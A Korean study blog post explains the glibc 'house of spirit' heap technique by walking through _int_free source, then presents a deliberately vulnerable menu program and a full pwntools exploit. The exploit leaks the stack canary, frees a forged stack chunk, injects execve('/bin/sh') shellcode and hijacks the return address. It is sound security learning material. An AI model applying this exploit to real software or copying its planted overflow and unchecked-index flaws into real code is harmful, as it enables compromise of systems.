Study/Linux

house of spirit

sh711 2025. 4. 3. 17:55

1. house of spirit

hos 취약점은 fastbin free 시 임의의 주소를 free 시킨 후 동일 사이즈 재할당 시 해당 메모리 주소가 할당되는 취약점이다.
glibc-2.32 부터 보안 패치가 되었고 테스트 환경은 glibc-2.27에서 진행하였다.
 

2. 코드 분석

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);

  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  check_inuse_chunk(av, p);

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
	&& tc_idx < mp_.tcache_bins
	&& tcache->counts[tc_idx] < mp_.tcache_count)
      {
	tcache_put (p, tc_idx);
	return;
      }
  }
#endif

  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might result in a false positive.  Redo the test after
	   getting the lock.  */
	if (!have_lock)
	  {
	    __libc_lock_lock (av->mutex);
	    fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	    __libc_lock_unlock (av->mutex);
	  }

	if (fail)
	  malloc_printerr ("free(): invalid next size (fast)");
      }

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    atomic_store_relaxed (&av->have_fastchunks, true);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;

    if (SINGLE_THREAD_P)
      {
	/* Check that the top of the bin is not the record we are going to
	   add (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  malloc_printerr ("double free or corruption (fasttop)");
	p->fd = old;
	*fb = p;

 
_int_free 함수이다.
가장 처음 free 할 메모리가 제대로된 주소인지 확인한다
만약 청크 p(0x602020)의 주소가 size의 음수 (0xffff~~) 보다 크거나
misaligned_chunk => 청크가 정렬이 되어있는지 (0x10, 0x8의 배수인지)
일 경우 invalid pointer 출력 후 종료
 
이어서 청크의 사이즈가 MINSIZE(0x10) 보다 작을 경우  || 사이즈가 0x10 단위가 아닐 경우
invalid size 출력 후 종료

  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");
#define misaligned_chunk(p) \
  ((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem (p)) \
   & MALLOC_ALIGN_MASK)
#define aligned_OK(m)  (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)

 
해당 부분은 tcache에 청크를 저장하는 tcache_put를 호출하는 부분이다
tcache는 사이즈당 7개의 청크를 보관하기 때문에 free 7번 수행 후 부터 free된 청크는 fastbin에 저장된다.

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
	&& tc_idx < mp_.tcache_bins
	&& tcache->counts[tc_idx] < mp_.tcache_count)
      {
	tcache_put (p, tc_idx);
	return;
      }
  }
#endif

 
따라서 밑에 fastbin 으로 들어가는 free 부분을 확인한다

#if TRIM_FASTBINS
      /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might result in a false positive.  Redo the test after
	   getting the lock.  */
	if (!have_lock)
	  {
	    __libc_lock_lock (av->mutex);
	    fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	    __libc_lock_unlock (av->mutex);
	  }

	if (fail)
	  malloc_printerr ("free(): invalid next size (fast)");
      }

    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    atomic_store_relaxed (&av->have_fastchunks, true);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;

    if (SINGLE_THREAD_P)
      {
	/* Check that the top of the bin is not the record we are going to
	   add (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  malloc_printerr ("double free or corruption (fasttop)");
	p->fd = old;
	*fb = p;

 
해당 부분에서 free_chunk 다음에 위치한 size 즉, 청크 뒤에 존재하는 다음 청크의 사이즈가 2 & SIZE_SZ (0x10) 보다 작거나 같을 경우
또한 arena 구조체의 system_mem 보다 클 경우
1을 반환하여 분기 문에 들어가지 못한다

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {

 
분기에 진입 시 _int_free 함수의 인자인 have_lock를 확인한다.
have_lock => 현재 함수가 잠겨 있는지 (멀티 쓰레드 환경에서 여러개의 쓰레드가 함수 접근 시 경쟁 방지) 확인 후
잠겨 있지 않다면 __libc_lock_lock (av->mutex); 뮤텍스를 잠궈준다 이는 내부적으로 pthread_mutex_lock() 함수 호출
fail 값은 다시 청크 검증을 통해 설정된다.
마찬가지로 chunk_at_offset (p, size)로 free 청크 다음 청크의 nomask 사이즈 즉, 플래그 제외한 사이즈 크기를 2 * SIZE_SZ (0x10) 과 비교
플래그를 포함한 청크 사이즈 값을 av->system_mem 과 비교하여 둘중 하나라도 참일 경우 fail 은 true가 되고 
invalid next size (fast) 출력 후 실패한다
__libc_lock_unlock로 mutex를 다시 풀어준다 (다른 쓰레드에서 접근이 가능하도록 변경)

	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might result in a false positive.  Redo the test after
	   getting the lock.  */
	if (!have_lock)
	  {
	    __libc_lock_lock (av->mutex);
	    fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	    __libc_lock_unlock (av->mutex);
	  }

	if (fail)
	  malloc_printerr ("free(): invalid next size (fast)");
      }

 
위의 조건까지 만족 시킬 경우
fb = &fastbin (av,idx); => fastbin의 주소를 가져온다
mchunkptr old = *fb, old2; => old라는 청크 구조체에 fastbin이 가리키는 주소를 넣는다
이후 마지막 검증에서 old == p => fastbin이 가리키는 free된 청크가 p(free 될 청크)의 주소가 같은 경우 DFB를 탐지하여 실패한다.
만약 해당 조건도 아닐 경우
p->fd = old => p(free 될 청크) 청크의 fd 값에 old (전에 free 된 청크의 주소)를 넣어주고
*fb = p -> fastbin이 가리키는 포인터 주소는 p(free 될 청크)를 가리키게 된다

free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    atomic_store_relaxed (&av->have_fastchunks, true);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;

    if (SINGLE_THREAD_P)
      {
	/* Check that the top of the bin is not the record we are going to
	   add (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  malloc_printerr ("double free or corruption (fasttop)");
	p->fd = old;
	*fb = p;

 

3. 테스트 코드

따라서, free 될 청크 헤더의 사이즈 및 다음 청크의 size 값 변조 시 임의의 주소를 fastbin에 넣을 수 있게된다.
 
 

4. 취약 프로그램

gcc -o hos hos.c -z execstack -fstack-protector
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_SIZE 20

typedef struct {
        char name[0x20];
        int age;
} Info;

Info user;

char *ptr[MAX_SIZE];

void init() {
        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IONBF, 0);
}

void create_paper(int idx) {
        int size;
        printf("Enter Size : ");
        scanf("%d", &size);
        while (getchar() != '\n');
        ptr[idx] = malloc(size);
        if(ptr[idx] == NULL) {
                fprintf(stderr, "malloc fail...\n");
                exit(1);
        }
        printf("Allocate Success\n");
}

void write_paper() {
        int index;
        printf("Select Index : ");
        scanf("%d", &index);
        printf("input : ");
        read(0, ptr[index], 0x100);
}

void delete_paper() {
        int index;
        printf("Select Index : ");
        scanf("%d", &index);
        free(ptr[index]);

}

void change_profil() {
        printf("New name : ");
        scanf("%s", user.name);
        printf("age : ");
        scanf("%d", &user.age);
        printf("Change Success\n");
}

int main() {
        init();
        printf("Hello, Who are you?\n");
        printf("name : ");
        scanf("%s", user.name);
        printf("age : ");
        scanf("%d", &user.age);

        char buffer[0x50];

        int ch, idx = 0;

        printf("ch addr : %p\n\n", &ch);
        while(1) {
                printf("Welcome %s\n", user.name);
                printf("1. create paper\n");
                printf("2. write paper\n");
                printf("3. delete paper\n");
                printf("4. change profil\n");
                printf("5. exit\n");
                printf("Select menu : ");
                scanf("%d", &ch);
                switch(ch) {
                        case 1: {
                                        create_paper(idx);
                                        idx++;
                                        break;
                                }
                        case 2: {
                                        write_paper();
                                        break;
                                }
                        case 3: {
                                        delete_paper();
                                        break;
                                }
                        case 4: {
                                        printf("Verify Name : ");
                                        read(0, buffer, 0x100);
                                        printf("Checking Name %s...\n\n", buffer);
                                        buffer[strcspn(buffer, "\n")] = '\0';

                                        if (strcmp(buffer, user.name) == 0) {
                                                printf("Access Granted...\n");
                                                change_profil();
                                                break;
                                                }
                                        else {
                                                printf("Access Denied...\n");
                                                break;
                                        }
                                }
                        case 5: {
                                        printf("bye\n");
                                        return 0;
                                }
                        default: {
                                        printf("Invalid Select\n");
                                 }
                }
        }
        return 0;
}

 
 
 
익스 코드

from pwn import *

io = process("./hos")
elf = ELF("./hos")

pause()

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))


io.sendlineafter("name : ", b"hyunho")
io.sendlineafter("age : ", str(28).encode())
io.recvuntil("ch addr : ")
ch_stack_addr = int(io.recvn(14), 16)
slog("ch_stack_addr", ch_stack_addr)
fake_chunk_header = ch_stack_addr + 0x8

pause()
# Full tcache + fastbin_1
for i in range(0, 8):
    io.sendlineafter("Select menu : ", str(1).encode())
    io.sendlineafter("Enter Size : ", str(48).encode())

for i in range(0, 8):
    io.sendlineafter("Select menu : ", str(3).encode())
    io.sendlineafter("Select Index : ", str(i).encode())

pause()

# Leak canary
payload1 = b"A" * 0x58
io.sendlineafter("Select menu : ", str(4).encode())
io.sendlineafter("Verify Name : ", payload1)
io.recvuntil(payload1)
io.recvn(1)
canary = u64(b"\x00" + io.recvn(7))
slog("canary", canary)

pause()

# modify ptr[0]
payload2 = b"A" * 0x40
payload2 += p64(fake_chunk_header + 0x10)
io.sendlineafter("Select menu : ", str(4).encode())
io.sendlineafter("Verify Name : ", b"hyunho")
io.sendlineafter("New name : ", payload2)
io.sendlineafter("age : ", str(28).encode())

pause()

# make fake_chunk
payload3 = b"\x00" * 0x8
payload3 += p64(64)
payload3 += p64(0) * 7
payload3 += p64(2560)
io.sendlineafter("Select menu : ", str(4).encode())
io.sendafter("Verify Name : ", payload3)

pause()

# free fake_chunk
io.sendlineafter("Select menu : ", str(3).encode())
io.sendlineafter("Select Index : ", str(0).encode())

pause()

# malloc fake_chunk & shellcode input
for i in range(0, 8):
    io.sendlineafter("Select menu : ", str(1).encode())
    io.sendlineafter("Enter Size : ", str(48).encode())

pause()

# write shellcoe at fake_chunk & ret modify
payload4 = b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"
payload4 += b"\x00" * 0x5
payload4 += b"\x00" * 0x28
payload4 += p64(canary)
payload4 += b"B" * 0x8
payload4 += p64(fake_chunk_header + 0x10)
io.sendlineafter("Select menu : ", str(2).encode())
io.sendlineafter("Select Index : ", str(0).encode())
io.sendlineafter("input : ", payload4)

pause()

io.sendlineafter("Select menu : ", str(5).encode())

io.interactive()